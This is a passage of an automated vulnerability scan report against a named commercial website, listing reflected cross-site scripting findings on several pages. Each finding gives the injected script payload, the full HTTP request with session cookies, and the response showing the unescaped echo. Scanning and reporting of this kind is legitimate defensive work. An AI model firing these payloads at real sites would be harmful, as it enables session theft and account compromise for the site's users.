P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13028

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/press.phpa9964"><script>alert(1)</script>b39620f6cf2" method="post">
...[SNIP]...

1.521. http://www.watchmouse.com/en/press.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/press.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 67409"><script>alert(1)</script>034afc75996 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/press.php?67409"><script>alert(1)</script>034afc75996=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:06:46 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-bb89ff507fa5a3cf96bf1248ac4be8f2"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 20706

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="/en/press.php?67409"><script>alert(1)</script>034afc75996=1" method="post">
...[SNIP]...

1.522. http://www.watchmouse.com/en/privacy.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/privacy.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3d9ae"><script>alert(1)</script>164cd255052 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /en3d9ae"><script>alert(1)</script>164cd255052/privacy.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:32 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-f8bc1ed8a9301bfe52aa0bd5144ea7bc"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13073

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/en3d9ae"><script>alert(1)</script>164cd255052/privacy.php" method="post">
...[SNIP]...

1.523. http://www.watchmouse.com/en/privacy.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/privacy.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e30e1"><script>alert(1)</script>dd0044f42cc was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/privacy.phpe30e1"><script>alert(1)</script>dd0044f42cc HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:34 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-1529a80f067e72d1a9430f3233968cae"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13046

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/privacy.phpe30e1"><script>alert(1)</script>dd0044f42cc" method="post">
...[SNIP]...

1.524. http://www.watchmouse.com/en/privacy.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/privacy.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 35df3"><script>alert(1)</script>039787c73ab was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/privacy.php?35df3"><script>alert(1)</script>039787c73ab=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:07:28 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-049957ca75d393923b99c2fc377aa776"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18966

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/privacy.php?35df3"><script>alert(1)</script>039787c73ab=1" method="post">
...[SNIP]...

1.525. http://www.watchmouse.com/en/register.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/register.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 392fe"><script>alert(1)</script>793e583b02 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /en392fe"><script>alert(1)</script>793e583b02/register.php?vpackid=35 HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.8.10.1297252772

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:04:23 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-7ddd0568df3c92acdbbb09a302e819a1"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13172

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/en392fe"><script>alert(1)</script>793e583b02/register.php?vpackid=35" method="post">
...[SNIP]...

1.526. http://www.watchmouse.com/en/register.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/register.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9f442"><script>alert(1)</script>da39ee4718 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/register.php9f442"><script>alert(1)</script>da39ee4718?vpackid=35 HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.8.10.1297252772

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:04:25 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-a9d847e82e054d5be22fabf1e05b5637"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13145

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/register.php9f442"><script>alert(1)</script>da39ee4718?vpackid=35" method="post">
...[SNIP]...

1.527. http://www.watchmouse.com/en/register.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/register.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bc9b5"><script>alert(1)</script>a8fde59d62a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/register.php?vpackid=35&bc9b5"><script>alert(1)</script>a8fde59d62a=1 HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.8.10.1297252772

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:04:20 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-2994ce7531d329ecfcd833020b1dd128"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 25757

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<a href="/nl/register.php?vpackid=35&bc9b5"><script>alert(1)</script>a8fde59d62a=1" onclick="$('#lang-menu').toggle();">
...[SNIP]...

1.528. http://www.watchmouse.com/en/releases.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/releases.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 26362"><script>alert(1)</script>b23c49f8722 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /en26362"><script>alert(1)</script>b23c49f8722/releases.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:28 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-2b60d47f944aae9ef40f67f13af9bed3"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13082

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/en26362"><script>alert(1)</script>b23c49f8722/releases.php" method="post">
...[SNIP]...

1.529. http://www.watchmouse.com/en/releases.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/releases.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cc683"><script>alert(1)</script>5891b6e46f7 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/releases.phpcc683"><script>alert(1)</script>5891b6e46f7 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:29 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-b158e131da7dfbd7cd7be82632b0587b"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13055

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/releases.phpcc683"><script>alert(1)</script>5891b6e46f7" method="post">
...[SNIP]...

1.530. http://www.watchmouse.com/en/releases.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/releases.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload aaf7b"><script>alert(1)</script>fb12fa7fde0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/releases.php?aaf7b"><script>alert(1)</script>fb12fa7fde0=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:07:26 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-d89a9dbd067fe5768f6c6582caba5fdb"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 40509

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="/en/releases.php?aaf7b"><script>alert(1)</script>fb12fa7fde0=1" method="post">
...[SNIP]...

1.531. http://www.watchmouse.com/en/resellers.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/resellers.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f2814"><script>alert(1)</script>b5997cf7315 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /enf2814"><script>alert(1)</script>b5997cf7315/resellers.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:13 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-aba9c415162a352a3b21ff756db1d8ea"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13091

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/enf2814"><script>alert(1)</script>b5997cf7315/resellers.php" method="post">
...[SNIP]...

1.532. http://www.watchmouse.com/en/resellers.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/resellers.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7b6dd"><script>alert(1)</script>eaec2988e25 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/resellers.php7b6dd"><script>alert(1)</script>eaec2988e25 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:15 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-36d0961770f9c95f3a51c96e1ca5616a"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13064

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/resellers.php7b6dd"><script>alert(1)</script>eaec2988e25" method="post">
...[SNIP]...

1.533. http://www.watchmouse.com/en/resellers.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/resellers.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 33a7d"><script>alert(1)</script>1799e2b91de was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/resellers.php?33a7d"><script>alert(1)</script>1799e2b91de=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:07:10 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-074627af44d454e897c10ddd4da4cc70"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 14438

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/resellers.php?33a7d"><script>alert(1)</script>1799e2b91de=1" method="post">
...[SNIP]...

1.534. http://www.watchmouse.com/en/scripting.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/scripting.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2ac78"><script>alert(1)</script>3ff20eb3e24 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /en2ac78"><script>alert(1)</script>3ff20eb3e24/scripting.php HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/register.php?vpackid=35
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
